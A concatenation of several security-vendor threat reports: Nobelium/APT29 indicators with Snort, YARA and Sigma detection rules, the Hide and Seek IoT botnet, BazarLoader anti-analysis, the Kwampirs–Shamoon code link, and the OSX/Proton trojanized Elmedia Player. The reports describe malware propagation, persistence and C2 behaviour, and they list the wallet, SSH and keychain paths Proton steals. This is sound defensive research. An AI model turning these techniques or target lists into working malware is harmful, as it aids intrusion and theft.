| Defense Evasion | T1140 | Deobfuscate/Decode Files or Information |
| Defense Evasion | T1027 | Obfuscated Files or Information |
| Defense Evasion | T1055.003 | Process Injection: Thread Execution Hijacking |
| Defense Evasion | T1553.002 | Subvert Trust Controls: Code Signing |
| Defense Evasion | T1562.001 | Impair Defenses: Disable or Modify Tools |
| Defense Evasion | T1112 | Modify Registry |
| Defense Evasion | T1202 | Indirect Command Execution |
| Defense Evasion | T1497 | Virtualization/Sandbox Evasion |
| Defense Evasion | T1620 | Reflective Code Loading |
| Discovery | T1082 | System Information Discovery |
| Discovery | T1057 | Process Discovery |
| Persistence | T1098 | Account Manipulation |
| Persistence | T1547.001 | Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder |
| Command and Control | T1105 | Ingress Tool Transfer |
| Command and Control | T1071.001 | Application Layer Protocol: Web Protocols |
| Command and Control | T1102 | Web Service |
## Indicators of Compromise
| CATEGORY | TYPE | VALUE |
|----------|-------|-----------------------------------------------------------------------|
| PAYLOAD | SHA256| 5292c0f5a7ea80124cf7584eacea1881cf2f0814fa13dcc0de56624e215aaba2 |
| PAYLOAD | SHA1 | 32792827c14075cc3091244425e302b1ebe3259c |
| PAYLOAD | MD5 | 2fbccfc5a1b91b2609e3ae92a93ff7cb |
| PAYLOAD | SHA256| 9d063a05280fbce6ff0fd62a877f3fd1e80f227522e16918e6bede2e6ee398de |
| PAYLOAD | SHA1 | 05241afa180d70e17647b2d8cbc1660adbe3af88 |
| PAYLOAD | MD5 | d86283af2d5888b0ce3ea63eb26f60f7 |
| PAYLOAD | SHA256| 4c68c840ae1a034d47900ebdc291116726fd37b3ab0b7e026fad90eaab84d820 |
| PAYLOAD | SHA1 | c9a5314eb247c7441a5262a7cd22abbe1fcba7b6 |
| PAYLOAD | MD5 | 110c4ae194e7b49ed3e3b254d599f7f4 |
| PAYLOAD | SHA256| 7f96d59cb02229529b14761f979f710bca500c68cc2b37d80e60e751f809475e |
| PAYLOAD | SHA1 | 489c36c9ea3fb90f61209d43efffd8d997a362c6 |
| PAYLOAD | MD5 | 9ec1fcb11b597941bec03078cccab724 |
| PAYLOAD | SHA256| 23a09b74498aea166470ea2b569d42fd661c440f3f3014636879bd012600ed68 |
| PAYLOAD | SHA1 | ad33bab4bc6232a6666c2190b3bf9fc2ab2a720a |
| PAYLOAD | MD5 | 454f59dc7d3d7f228bbd4ddd4c250ed8 |
| PAYLOAD | SHA256| 729fb24b6c18232fc05ccf351edaeaa8a76476ba08cba37b8a93d34f98fa05ed |
| PAYLOAD | SHA1 | 900cba1d73ddca31a7bb7b7af5b3b7f1a0bc6fbf |
| PAYLOAD | MD5 | 6bc8be27898e1e280e402a7981be55ae |
## Detection and Threat Hunting
### Snort
```plaintext
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CLUSTER25 NOBELIUM Registration via Dropbox API"; flow:established,to_server; http.uri; content:"/2/files/upload"; http.header; content:"|22|path|22|"; content:"|22|/Rock_"; fast_pattern; distance:0; content:".mp3|22|"; distance:0; http.host; content:"content.dropboxapi.com"; bsize:22; reference:url,cluster25.io/2022/05/13/cozy-smuggled-into-the-box/; reference:md5,3f400f30415941348af21d515a2fc6a3; classtype:trojan-activity; sid:7704250; rev:1;)
```
```plaintext
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CLUSTER25 NOBELIUM Backdoor Download via Dropbox API"; flow:established,to_server; http.uri; content:"/2/files/download"; http.header; content:"|22|path|22|"; content:"|22|/Rock_"; fast_pattern; distance:0; content:".mp3.backup|22|"; distance:0; http.host; content:"content.dropboxapi.com"; bsize:22; reference:url,cluster25.io/2022/05/13/cozy-smuggled-into-the-box/; reference:md5,3f400f30415941348af21d515a2fc6a3; classtype:trojan-activity; sid:7704251; rev:1;)
```
### YARA
```plaintext
import "pe"
rule APT29_Loader_87221_00001 {
meta:
author = "Cluster25"
tlp = "white"
description = "Detects DLL loader variants used in Nobelium kill-chain"
hash1 = "6fc54151607a82d5f4fae661ef0b7b0767d325f5935ed6139f8932bc27309202"
hash2 = "23a09b74498aea166470ea2b569d42fd661c440f3f3014636879bd012600ed68"
strings:
$s1 = "%s\\blank.pdf" fullword ascii
$s2 = "%s\\AcroSup" fullword ascii
$s3 = "vcruntime140.dll" fullword ascii
$s4 = "ME3.99.5UUUUUUUUUUU" fullword ascii
$c1 = "Rock" fullword ascii
$c2 = ".mp3" fullword ascii
$c3 = "%s.backup" fullword ascii
$sequence1 = { C7 45 ?? 0B 00 10 00 48 8B CF FF 15 ?? ?? ?? 00 85 C0 74 ?? 48 8D 55 ?? 48 89 75 ?? 48 8B CF FF 15 ?? ?? ?? 00 85 C0 74 ?? 48 8B CF FF 15 ?? ?? ?? 00 } // Thread context change
$sequence2 = { 0F B6 0B 4C 8D 05 ?? ?? ?? 00 89 4C 24 ?? 4D 8B CD 49 8B CD BA 04 01 00 00 E8 ?? ?? ?? ?? 48 8D 5B 01 48 83 EF 01 75 ?? } // encoding cycle
$sequence3 = { 4C 8D 8C 24 ?? 00 00 00 8B 53 ?? 44 8D 40 ?? 48 03 CD 44 89 A4 24 ?? 00 00 00 FF 15 ?? ?? ?? 00 8B 43 ?? 44 8B 43 ?? 4A 8D 14 38 48 8D 0C 28 E8 ?? ?? 00 00 8B 4B ?? 4C 8D 8C 24 ?? 00 00 00 8B 53 ?? 48 03 CD 44 8B 84 24 ?? 00 00 00 FF 15 ?? ?? ?? 00 } // DLL Unhook
$sequence4 = { 42 0F B6 8C 32 ?? ?? ?? 00 48 83 C2 03 88 0F 48 8D 7F 01 48 83 FA 2D 7C E7 } // get domain name string
condition:
uint16(0) == 0x5a4d and filesize < 200KB
and pe.imports("kernel32.dll", "SetThreadContext") and pe.imports("kernel32.dll", "ResumeThread") and pe.imports("kernel32.dll", "K32GetModuleFileNameExA")
and 3 of ($s*)
and all of ($c*)
and 3 of ($sequence*)
}
```
```plaintext
rule APT29_HTMLSmuggling_ZIP_82733_00001 {
meta:
author = "Cluster25"
description = "Rule to detect the EnvyScout HTML smuggling with ZIP payload used in the APT29/Nobelium APT29 chain"
date = "2022-05-12"
hash = "d5c84cbd7dc70e71f3eb24434a58b2f149d0c39faa7e4157552b60c7dbb53d11"
strings:
$s1 = "new Blob("
$s2 = "new Uint8Array("
$s3 = "application/octet-stream"
$t1 = "saveAs("
$t2 = "download("
$r1 = { 66 6F 72 28 76 61 72 20 69 20 3D 20 30 78 30 3B 20 69 20 3C 20 64 5B 27 6C 65 6E 67 74 68 27 5D 3B 20 69 2B 2B 29 20 7B 0A 20 20 20 20 64 5B 69 5D 20 3D 20 64 5B 69 5D }
condition: (filesize > 500KB and all of ($s*) and ($t1 or $t2) and $r1)
}
```
### Sigma
```plaintext
title: Potential NOBELIUM APT persistence by detection of registry key events (via registry_event)
status: stable
description: This rule detects potential NOBELIUM APT persistence via registry event
author: Cluster25
date: 2022/04/27
references:
- internal research
tags:
- attack.persistence
logsource:
product: windows
category: registry_event
detection:
selection:
TargetObject|contains:
- '\Software\Microsoft\Windows\CurrentVersion\Run\'
Details|endswith:
- '\AppData\Roaming\AcroSup\Acro.exe'
condition: selection
falsepositives:
- unknown
level: high
```
Written by: Cluster25 |
# Hide and Seek IoT Botnet Resurfaces with New Tricks, Persistence
On April 30, Bitdefender researchers became aware of a new version of the Hide and Seek bot we documented earlier this year. The botnet, the world’s first to communicate via a custom-built peer-to-peer protocol, has now also become the first to gain persistence (the ability to survive a reboot) with the new version.
Historically, the botnet infected close to 90,000 unique devices from the time of discovery until today, with ups and downs on each update. The new samples identified in late April don’t add functionality but feature plenty of improvements on the propagation side. For instance, the new binaries now include code to leverage two new vulnerabilities to allow the malware to compromise more IPTV camera models. In addition to the vulnerabilities, the bot can also identify two new types of devices and pass their default usernames and passwords.
## Generic Attack Avenues
The sample discovered also targets several generic devices. Infected victims scan for neighboring peers for the presence of the telnet service. As soon as the telnet service is found, the infected device attempts to brute-force access. If the login succeeds, the malware restricts access to port 23 to potentially prevent a competing bot from hijacking the device. This attack avenue targets a wide range of devices and architecture. Our research shows that the bot has 10 different binaries compiled for various platforms, including x86, x64, ARM (Little Endian and Big Endian), SuperH, PPC, and so on.
Once the infection has been performed successfully, the malware copies itself in the `/etc/init.d/` and adds itself to start with the operating system. In order to achieve persistence, the infection must take place via Telnet, as root privileges are required to copy the binary to the init.d directory. It subsequently opens a random UDP port that is propagated to the neighboring bots. This port will be used by the cyber-criminals to get in touch with the device.
The supported command list has not changed significantly from the previous version of the bot. There is still no support for DDoS attacks (one of the most frequently encountered features of IoT bots), which leaves extremely little room for monetizing the botnet. However, the bot itself can still exfiltrate files using the method described in our last post about HnS. Based on the evidence at hand, we presume that this botnet is in the growth phase, as operators are trying to seize as many devices as possible before adding weaponized features to the binary.
The samples we used for this piece of research are identified as `9ef7ed8af988d61b18e1f4d8c530249a1ce76d69` and `c6d6df5a69639ba67762ca500327a35b0e3950b0`. |
# Defeating BazarLoader Anti-Analysis Techniques
**By Mark Lim**
**April 25, 2022**
**Category:** Malware
**Tags:** anti-analysis, BazarLoader
## Executive Summary
Malware authors embed multiple anti-analysis techniques in their code to retard the analysis processes of human analysts and sandboxes. However, there are ways defenders can defeat these techniques in turn. This blog post describes two methods for faster analysis of malware that employs two distinctive anti-analysis techniques. The first technique is API function hashing, a known trick to obfuscate which functions are called. The second is opaque predicate, a technique used for control flow obfuscation.
The scripts that we are going to show here can be applied to BazarLoader, as well as other malware families that utilize similar anti-analysis techniques. As an illustration, we will show the IDAPython scripts we created during a recent analysis of BazarLoader with the reverse engineering tool IDA Pro to defeat these anti-analysis techniques. BazarLoader is a Windows backdoor that is used by various ransomware groups.
Palo Alto Networks customers are protected from malware families using similar anti-analysis techniques with Cortex XDR or the Next-Generation Firewall with the WildFire and Threat Prevention security subscriptions.
## Primary Malware Discussed
BazarLoader
## Related Unit 42 Topics
Malware, anti-analysis techniques
## Reusing Malware Code to Defeat Obfuscated API Calls
Malware compiled as native files has to call Windows API functions to carry out malicious behaviors. The information on which functions are used is usually stored in the Import Address Table (IAT) in the file. Therefore, this table is often a good place to start the analysis process to get an idea of what the malware is trying to do.
To demonstrate, we focused on a BazarLoader sample we recently detected. After peeling away the packer layer of our BazarLoader sample, we saw that it doesn’t have an IAT. Also, there is no IAT constructed during execution, a technique sometimes seen in other malware. BazarLoader obfuscates its function calls to make analysis more difficult and to evade detection techniques that rely on reading the IAT.
In fact, BazarLoader resolves every API function to be called individually at run time. After we figured out that the functions are resolved during execution, the following function caught our attention as it was referenced more than 300 times.
While most pieces of malware rely on publicly known hashing algorithms to resolve the functions’ addresses, the one used by BazarLoader is unique. The API function resolution procedure (sub_18000B9B0, labelled as FN_API_Decoder) requires three parameters and returns the address of the requested function.
Now, we could reverse engineer the algorithm used in FN_API_Decoder and reimplement it in Python to get all functions resolved. However, this would take a lot of time and we would have to repeat the whole process for every piece of malware that uses a different hashing algorithm.
Instead, the approach we used is independent from the hashing algorithm as it makes use of the hashing function itself. For this, we used the Appcall feature with IDAPython in IDA Pro to call FN_API_Decoder and pass it the required parameters. The result from Appcall would be the resolved address of the Windows API function. The Appcall feature used while debugging the malware allows us to execute any function from the sample as if it were a built-in function.
Using the following code, we can run FN_API_Decoder to resolve Windows API function addresses while debugging the malware process.
Next, we gathered all the required parameters by looking up all the cross references to FN_API_Decoder. The following code will search and extract the required parameters for resolving the API function calls.
Finally, by using the returned value from Appcall we are able to rename all the dynamic calls to the APIs to their corresponding names and apply comments.
Putting the above steps together, we deobfuscated the API function calls.
After all the API function calls are renamed, we can now easily locate other interesting functions in the malware. For example, sub_1800155E0 is the procedure in BazarLoader that carries out code injection.
## Automating Opaque Predicate Removal
Opaque Predicate (OP) is used in BazarLoader to protect it from reverse engineering tools. OP is an expression that evaluates to either true or false at runtime. Malware authors make use of multiple OPs together with unexecuted code blocks to add complexities that static analysis tools have to deal with.
The following disassembled code shows one of the OPs in BazarLoader.
From the above control flow graph (CFG), the code flow won’t end up in infinite loops. Therefore, the above OP will be evaluated to avoid the infinite loop.
We can demonstrate the extent of the challenge OPs pose to malware analysts. The following CFG shows the unexecuted code blocks in one of the smaller functions (sub_18000F640) in the sample.
We could manually patch away the code blocks that are not executed as we analyze each function in the sample, but this is not very practical and takes a lot of time. Instead, we will choose a smarter way by doing it automatically.
First, we have to locate all the OPs. The most common way to do this is to make use of the binary search mechanism in IDA Pro to find all the byte sequences of the OPs. This turns out not to be possible, as the OPs were likely generated by a compiler during the build process of the malware sample. There are just too many variants of the OPs that could be covered using the byte sequence.
Not only do we need to locate the OPs, we also have to know the exact point when the malware sample decides to avoid the unexecuted code blocks.
Using the following code, we locate the OPs in a function.
Next, we have to patch the instructions in OPs to force the code flow away from the unexecuted code blocks.
The OPs also messed with the output of the HexRays decompiler. This is how the function (sub_18000F640) looks before the OPs are patched.
After applying the two techniques above, we have decompiled pseudocode that is much easier to read and understand.
After patching all the OPs and renaming the obfuscated API calls, we could then tell that the function (sub_18000F640) is just a wrapper function for GetModuleFileNameW().
## Malware Analysts vs Malware Authors
Malware authors often include anti-analysis techniques with the hope that they will increase the time and resources taken for malware analysts. With the above script snippets showing how to defeat these techniques for BazarLoader, you can reduce the time needed to analyze malware samples of other families that use similar techniques.
Palo Alto Networks customers are further protected from malware families using similar anti-analysis techniques with Cortex XDR or the Next-Generation Firewall with the WildFire and Threat Prevention cloud-delivered security subscriptions.
## Indicators of Compromise
**BazarLoader Sample**
ce5ee2fd8aa4acda24baf6221b5de66220172da0eb312705936adc5b164cc052 |
# The Link Between Kwampirs (Orangeworm) and Shamoon APTs
## Executive Summary
Cylera Labs researchers discovered, documented, and publicly presented findings on the code similarities between the threat actor group “Orangeworm” and their “Kwampirs” malware as compared to “Shamoon,” at the XIII STIC conference held in Madrid in December 2019. Pablo Rincon Crespo, Cylera’s Vice President of Cybersecurity, led the presentation. Cylera was the first to present this linkage with code artifacts.
Following the conference, during the first three months of 2020, the FBI released three Private Industry Notifications (PINs) in three consecutive months: January 6, February 5, and March 30, 2020. These PINs coincided with the escalation of tension between the United States and Iran, described heightened Kwampirs activity, and noted similarities with Shamoon. These PINs added that Kwampirs was being used against industrial control systems (ICS), aligning with the latest targets of Iranian APTs.
In previous incidents, Shamoon was used against petrochemical companies like Saudi Aramco (August 2012), Rasgas (November 2012), and later Saudi Arabia Energy Sector, GACA, and Central Bank (November 2016), Saipem (December 2018). US officials and security experts believe that Shamoon was first operated by an Iranian group known as the “Cutting Sword of Justice.” Shamoon is believed to be inspired by malware that was first deployed against the Iranian oil industry (April 2012) and dubbed “Wiper” by its authors.
Orangeworm’s activity using Kwampirs malware is believed to have started as early as January 2015, and it had already infected hospitals and supply chains in 2018, as first reported by Symantec. The scope of the targeted attacks spanned healthcare and supply chains in more than 25 countries, across Asia, Europe, and the United States. With the FBI PINs information, Kwampirs has also been demonstrated against ICS in industries vital to everyday life.
The technical research focused first on comparing Kwampirs code with multiple malware families, looking for shared code or coding similarities. During this initial investigation, the relationship to Shamoon was first identified and explored. Subsequently, a comparative binary analysis of the malware artifacts of both families over time uncovered:
- The initial similarities between the two families
- Parallel updates between the two families and apparent bidirectional exchange between their creators
- A shared template-based system not previously recognized in either family
Focus was also put on the analysis of campaign infrastructure, which included extracting C2 servers from all the samples collected and mapping active C2 servers through mass scanning and DGA brute forcing. This mapping enabled the examination of C2 server contents, exploiting open directory listing vulnerabilities, and sinkholing multiple campaigns to learn more about victim distribution.
The actors also used Kwampirs malware against medical equipment manufacturers and IT solution providers, as well as other supply chains globally. Symantec attributed the attacks to industrial espionage and did not find any indicator pointing to government-sponsored operators financing the attacks. However, after two further years of research, Cylera Labs assesses with medium-high confidence that the threat actors developing Kwampirs are the same as Shamoon, suspected to be Iranian state-backed. This is a critical association for healthcare organizations and other industries around the world to understand.
The initial findings presented in 2019 made it unavoidable to consider the strong relation between Shamoon threat actors and the Orangeworm APT behind the healthcare attacks. However, researchers endeavored to find additional evidence to help determine whether the similarities were due to the campaigns being the work of a single group or if the similarities were due to code reuse between separate groups, as a result of stolen, reverse engineered, shared, or repurposed source code.
Attribution is a complex task, but Cylera Labs concludes with high confidence that Kwampirs is linked to the Shamoon malware family and most likely, with medium-high confidence, to the same threat actors as the Shamoon 2 and 3 campaigns, which appear to be no different from Shamoon 1.
## Background
In February 2016, Frank J. Cilluffo, Director, McCrary Institute for Cyber & Critical Infrastructure Security, declared in the US House of Representatives that Iran and his proxy Cyber Hezbollah was linked to the Saudi Aramco and RasGas attacks. Leaked documents from US intelligence agencies from April 2013 also state that Iran was linked to the Shamoon 1 attacks.
Kwampirs is a modular malware family with reconnaissance-focused functionality created by a group dubbed Orangeworm. The malware and group were first discovered by Symantec researchers and publicly disclosed in their April 2018 report, which discussed technical details and victimology but did not find any strong evidence of the group’s motivation or identity. Orangeworm has affected the healthcare sector through direct attacks against healthcare providers and attacks targeting the global healthcare supply chain. Machines infected with Kwampirs malware included medical devices in active use by affected healthcare providers, such as CT/MRI acquisition stations, the systems of the manufacturers that produce such devices, and systems of logistics organizations that deliver healthcare products.
The campaigns have affected hospitals and companies in more than 27 countries, including the United States, India, Saudi Arabia, Philippines, Germany, Hungary, the United Kingdom, and Hong Kong, among others. Telemetry gathered by sinkholes set up by Cylera researchers have shown a heavy weight towards Saudi victims in at least some campaigns.
New campaigns have typically emerged each year from 2015 to 2020, containing new lists of C2 servers and often assorted updates to the malware. FBI alerts in 2020 described heightened recent activity that has maintained healthcare as a target while expanding into other industries, including components of national critical infrastructure such as the energy sector.
Orangeworm activity was first observed in January 2015, almost three years after the first Shamoon attack.
### About Shamoon
Shamoon, also known as DistTrack, is a highly destructive malware family used in cyber warfare operations since 2012, often against targets in the Middle East, with a focus on Saudi Arabia. The main targets have been in the energy sector, particularly oil and gas, but more recent campaigns using Shamoon variants have been observed against a broader range of industries. Shamoon’s first campaign targeted Saudi Aramco in August 2012 and was said to be “the biggest hack in history” at the time, wiping more than 30,000 workstations and 2,000 servers and forcing the company to interrupt oil production.
This attack has been publicly attributed to APT33 (aka Elfin), a group that was linked to the Iranian government by FireEye researchers in 2018, with the help of Magic Hound.
### About Cylera Labs Research
Pablo Rincon released Cylera Labs’ analysis and first findings of Kwampirs and its relation to Shamoon in December 2019 in a talk given at the XIII STIC conference held in Madrid. Cylera researchers were cautious about attribution as they consider that even strong code similarities don’t imply the same developers. Code could have been stolen, reverse engineered, shared, or repurposed. Researchers continued to meticulously analyze the evolution of both families to try to determine what had really happened.
Beginning in January 2020, the FBI released a series of three advisories warning of the usage of Kwampirs against supply chains and the healthcare industry, and warning of the potential ties to Shamoon, in three consecutive months: January 6, February 5, and March 30, 2020.
## Scope
This document will focus on the technical evidence that links Kwampirs, the malware used by Orangeworm, to the Shamoon malware family, as well as the relation of the threat actors using them. As an added challenge, there are samples of Shamoon that have been reverse engineered and open-sourced by researchers, like open-Shamoon, that increase the difficulty of attribution. Cylera researchers analyzed a representative set of these samples and found multiple pieces of evidence that would invalidate the association of open-source versions to the focused sample set of this paper.
The final sections of this document discuss the potential implications pertaining to attribution. This paper consists primarily of technical analysis of TTPs (Tools, Tactics, and Procedures) observed in the Kwampirs and Shamoon campaigns, including strong similarities in code, toolset, and structure, with additional discussion of auxiliary non-technical similarities at the end.
During this investigation, Cylera Labs has conducted the following main analysis milestones:
- Meticulously gathered and analyzed Kwampirs and Shamoon malware artifacts publicly available.
- Identified multiple campaigns and versions of Kwampirs and analyzed their evolution by distinguishing code changes.
- Meticulously analyzed what, in software programming, would be very likely “the commit history” comparing both malware families, realizing that Kwampirs is based on Shamoon 1, but Shamoon 2 and 3 reporter components seem to be based in the Kwampirs reporter component, which may be evidence that both families belong to the same chain of development efforts.
- Analyzed Kwampirs infrastructure, domain registration information, and IPs listed as C2 of all the campaigns.
- Found an active command and control server back in November 2018 and extracted connection logs from victims.
- Sinkholed multiple domains corresponding to different campaigns to understand their victimology and identified some of their targets.
- Identified custom auxiliary tools used in common between both malware families (the Builder and Template system).
## Analysis Sections
The two families share a similar general structure, though the structure itself is particularly unique. Kwampirs exhibits a simpler design, based on the number of components dropped relative to Shamoon. This is likely a reflection of the difference in intended purpose of the campaigns for each respective family.
Each family’s handling of the reporter component, which exists in some form within the resource container of each family, seems to exhibit general alignment in functionality but differences in specific implementation:
- Shamoon stores its reporter payload as named resource PKCS7 while Kwampirs stores its reporter payload as resource ID 101.
- Both use XOR-based encryption on the report payloads contained within their resource containers.
- Kwampirs further obfuscates the payload by hiding its reporter within a BMP file after a sequence of valid image rows at the beginning of the file, a technique that has been seen in other campaigns and families (such as certain Lazarus campaigns). A resulting image can be seen at Figure 2.
- Shamoon’s reporter component is an executable (.exe), while Kwampirs’ is a DLL.
The following diagram (figure 1) shows the various dropped components, with components present in only Shamoon displayed semi-transparently.
### A Walkthrough on the Dropper Differences
In this section, some explanations about the general architecture differences and main execution flows of both families will be covered to understand how they differ between each other, and how the refactor -- or component reuse -- was probably done.
Kwampirs garbage string handling can be seen in Figure 3. Shamoon garbage string handling can be found in Figure 4.
An example of a Kwampirs garbage string value can be found in Snippet 1.
An example of a Shamoon garbage string value can be found in Snippet 2.
When the droppers are executed they will print the garbage strings to the screen using “xsputn()” if certain conditions -- such as a comparison against the trigger date for Shamoon or if the target platform is supported as well as the OS version (in the case of Kwampirs) -- are satisfied. This may be done to make the user believe that the executable is broken.
In the case of the default execution path, the executable will start a persistence thread then execute an interruptible loop that checks the “final activation” date of Shamoon’s destructive payload. When this date is reached, the execution flow will call the function 0x004056B2, which will print the previously discussed garbage strings, drop PKCS12, load the burning flag “image12767” and so on.
In Kwampirs, the main entry point is at 0x00CE44C0 and looks like a mixture of the code. Shamoon executes after the date check, with a few calls and checks of the parent calling functions.
The main function of the service behaves differently based on the arguments used in the invocation of the binary. The general purpose of the function is to orchestrate how the persistence modules behave and what run mode is pretended for execution. Multiple calls can be issued to the same binary with different arguments to invoke different code paths or execution flows.
The main function of the service behaves differently based on the arguments used in the invocation of the binary. The general purpose of the function is to orchestrate how the persistence modules behave and what run mode is pretended for execution. Multiple calls can be issued to the same binary with different arguments to invoke different code paths or execution flows.
The DLL payload appears to be the replacement of the wiper component in Shamoon, PKCS12. This payload, whose original name is Actuator.dll and whose main callback function is MyDllMain, acts as an information gathering component. Similar to the higher-level function in Shamoon, this function will execute in different run modes depending on the number of arguments provided.
The way the logic differs between both malware families indicates Shamoon has part of Kwampirs’ structure “embedded” in it, or simplified. This suggests the possibility that Kwampirs could have been developed first, and Shamoon was based on it, adding more logic and complexity, like wrapping it. At the same time, it contrasts with the dates available on other reports, as Kwampirs’ first campaigns (at least publicly known) were first identified in early 2015.
Nevertheless, exif and executable metadata indicates earlier compilation timestamps, some of them previous to Shamoon’s first campaign. This is important because Shamoon has been widely analyzed and there are a few publicly available reverse engineered source codes. This is a fact that goes against any attribution intent based on technical proof. However, if Kwampirs was created before Shamoon, then the chances that it is the same group increases.
Given the publicly available information and described dates, as well as the review of coevolution, the timeline says that Shamoon was first, then Kwampirs started to be used, and was followed by Shamoon versions 2 and 3, taking some of the improvements developed first in Kwampirs.
Kwampirs performs the operation near the top of its “main” function, as displayed in Figure 5, after a few checks inside the function renamed as get_windows_dir_create_file_get_filetime() in IDA decompiled code. Shamoon performs the operation as the very first step of its “main” function, as displayed in Figure 6, before any checks.
### Propagation Implementation
The propagation modules in each sample consist of two main functions, one that generates IP addresses and one that attempts to infect each generated IP. There is a near one-to-one correspondence between the functionality and implementation of the two modules, excluding differences like step naming.
When a call to the main propagation function is done, Kwampirs will first create and run concurrently a new separate thread. In this new thread, the function GetTcpTable returns an array of TCP connections. For each entry, it will check if ports 445 or 139 are in use (which means that they will also try to infect neighbor hosts using Windows protocols SMB or NetBios with the current victim). Then it will call the infection function for those Windows-based hosts.
If a target share is accessible with sufficient permissions, each module will then check for the existence of a particular file and, if it is not present, create it. The purpose is twofold: one, determine if the machine is already infected, and two, test if we have permissions to write to the share.
Both modules will next change the creation, modification, and last access time attributes for the copied file, then enter a routine responsible for installing the transferred file as a remote service to ensure its execution.
The service installation process will try to connect to the service manager of the victim host by using OpenSCManagerW(), and then it will try to open the services “WmiApSrvEx” (in case of Kwampirs) or “TrkSvr” (in Shamoon). If it does not exist, a new service is created, specifying the service name, display name, dependencies (RpcSs), among other parameters.
After service creation, each module calls ChangeServiceConfig2W() to modify the service information and extended description. If successful, it will set the binary path name and then will connect to the remote registry (in Kwampirs, the remote registry service will be started first), then a key “\SYSTEM\CurrentControlSet\Services\SrvName” will be added to start the service on startup.
The two functions vary a little bit. The Shamoon version does not enable the service of remote registry, but it does change the LanmanWorkstation dependencies adding Shamoon into it.
### C2 Communication
The reporters of both Kwampirs and Shamoon contain functionality to upload host information and download additional payloads to execute from their C2s. In general, the DLL that Kwampirs drops appears to be a complete refactor of the netinit.exe executable dropped by Shamoon. At the core, both modules use the same network API, both call InternetOpenW to create requests, and both handle the same general reporting-related tasks (ignoring anything wiper-related, which is only relevant to Shamoon).
The Kwampirs C2 has been observed responding to requests with a hash value corresponding to an additional module to download, corresponding to the “E” command from the Shamoon C2. Kwampirs will check the authenticity of the module using digital signatures and a public key embedded in the binary.
### Conclusion
The analysis has led Cylera researchers to conclude with high confidence that there is a connection between the Shamoon and Kwampirs actors, and also conclude with medium-high confidence that there was a single group responsible for both families and campaigns. Given the commonly accepted attribution of the Shamoon attacks to state-backed Iranian APT groups, the latter conclusion would imply that they were also responsible for Kwampirs. If true, this would be the first publicly known case of a state-backed actor targeting healthcare supply chains and delivery organizations, a worrying extension of state actors’ traditional targeting of critical infrastructure of foreign adversaries. |
# OSX/Proton Spreading Again Through Supply-Chain Attack
Our researchers noticed that the makers of the Elmedia Player software have been distributing a version of their app trojanized with the OSX/Proton malware.
On 19 October 2017, ESET researchers noticed that Eltima, the makers of the Elmedia Player software, were distributing a version of their application trojanized with the OSX/Proton malware on their official website. ESET contacted Eltima as soon as the situation was confirmed. Eltima was very responsive and maintained excellent communication with us throughout the incident.
## Timeline
- **2017-10-19**: Trojanized package confirmed
- **2017-10-19 10:35 AM EDT**: Eltima informed via email
- **2017-10-19 2:25 PM EDT**: Eltima acknowledged the issue and initiated remediation efforts
- **2017-10-19 3:10 PM EDT**: Eltima confirms their infrastructure is cleaned up and serving the legitimate applications again
- **2017-10-19 10:12 AM EDT**: Eltima publishes an announcement about the event
- **2017-10-20 12:15 PM EDT**: Added references to Folx that was also distributed with the Proton malware
**Note**: This blog was initially posted despite our research being incomplete. Hence, this information is preliminary and the blog post will be updated as new facts emerge.
## Am I Compromised?
ESET advises anyone who downloaded Elmedia Player or Folx software recently to verify if their system is compromised by testing the presence of any of the following files or directories:
- `/tmp/Updater.app/`
- `/Library/LaunchAgents/com.Eltima.UpdaterAgent.plist`
- `/Library/.rand/`
- `/Library/.rand/updateragent.app/`
If any of them exists, it means the trojanized Elmedia Player or Folx application was executed and that OSX/Proton is most likely running. If you have downloaded that software on October 19th before 3:15 PM EDT and run it, you are likely compromised. As far as we know, the trojanized version of the application was only downloadable from the Eltima website, between 08:00 and 15:15 EDT on 19 October 2017. The built-in automatic update mechanism seems unaffected.
## What Does the Malicious Payload Do to a Compromised System?
OSX/Proton is a backdoor with extensive data-stealing capabilities. It gains persistence on the system and can steal the following:
- **Operating system details**: hardware serial number (IOPlatformSerialNumber), full name of the current user, hostname, System Integrity Protection status (csrutil status), gateway information (route -n get default | awk ‘/gateway/ { print $2 }’), current time & timezone
- **Browser information** from Chrome, Safari, Opera, and Firefox: history, cookies, bookmarks, login data, etc.
- **Cryptocurrency wallets**:
- Electrum: `~/.electrum/wallets`
- Bitcoin Core: `~/Library/Application Support/Bitcoin/wallet.dat`
- Armory: `~/Library/Application Support/Armory`
- **SSH private data** (entire .ssh content)
- **macOS keychain data** using a modified version of chainbreaker
- **Tunnelblick VPN configuration** (`~/Library/Application Support/Tunnelblick/Configurations`)
- **GnuPG data** (`~/.gnupg`)
- **1Password data** (`~/Library/Application Support/1Password 4` and `~/Library/Application Support/1Password 3.9`)
- **List of all installed applications.**
## How Do I Clean My System?
As with any compromise of an administrator account, a full OS reinstall is the only sure way to get rid of the malware. Victims should also assume at least all the secrets outlined in the previous section are compromised and take appropriate measures to invalidate them.
## Supply-Chain Attack Revisited on the Mac
Last year, the Mac Bittorrent client Transmission was abused twice to spread malware, first the OSX/KeRanger ransomware followed by OSX/Keydnap password stealer. Then this year, the Handbrake video-transcoder application was found bundled with OSX/Proton. Today, ESET discovered another popular Mac software package being used to spread OSX/Proton: Elmedia Player, a media player that reached the 1,000,000 users milestone this summer.
## Technical Analysis
OSX/Proton is a RAT (Remote Access Trojan) sold as a kit on underground forums. It was very briefly documented by Sixgill earlier this year and then further analyzed by Thomas Reed at MalwareBytes, Amit Serper at CyberReason, and Patrick Wardle at Objective-See.
In the current case of Eltima trojanized software, the attacker built a signed wrapper around the legitimate Elmedia Player and Proton. In fact, we observed what seems to be real-time repackaging and signing of the wrappers, all with the same valid Apple Developer ID. Eltima and ESET confirmed they are working with Apple to invalidate the Developer ID used to sign the malicious application. (Apple revoked the certificate.)
**(Timestamps are all in EDT timezone)**
### Clean Application:
- **Timestamp**: Jul 24, 2017, 4:56:24 AM
- **Developer ID**: ELTIMA LLC (N7U4HGP254)
- **SHA-1**: 0603353852e174fc0337642e3957c7423f182a8c
### Trojanized Application:
- **Timestamp**: Oct 19, 2017, 8:00:05 AM
- **Developer ID**: Clifton Grimm (9H35WM5TA5)
- **SHA-1**: e9dcdae1406ab1132dc9d507fd63503e5c4d41d9
- **Timestamp**: Oct 19, 2017, 12:22:24 PM
- **Developer ID**: Clifton Grimm (9H35WM5TA5)
- **SHA-1**: 8cfa551d15320f0157ece3bdf30b1c62765a93a5
- **Timestamp**: Oct 19, 2017, 2:00:38 PM
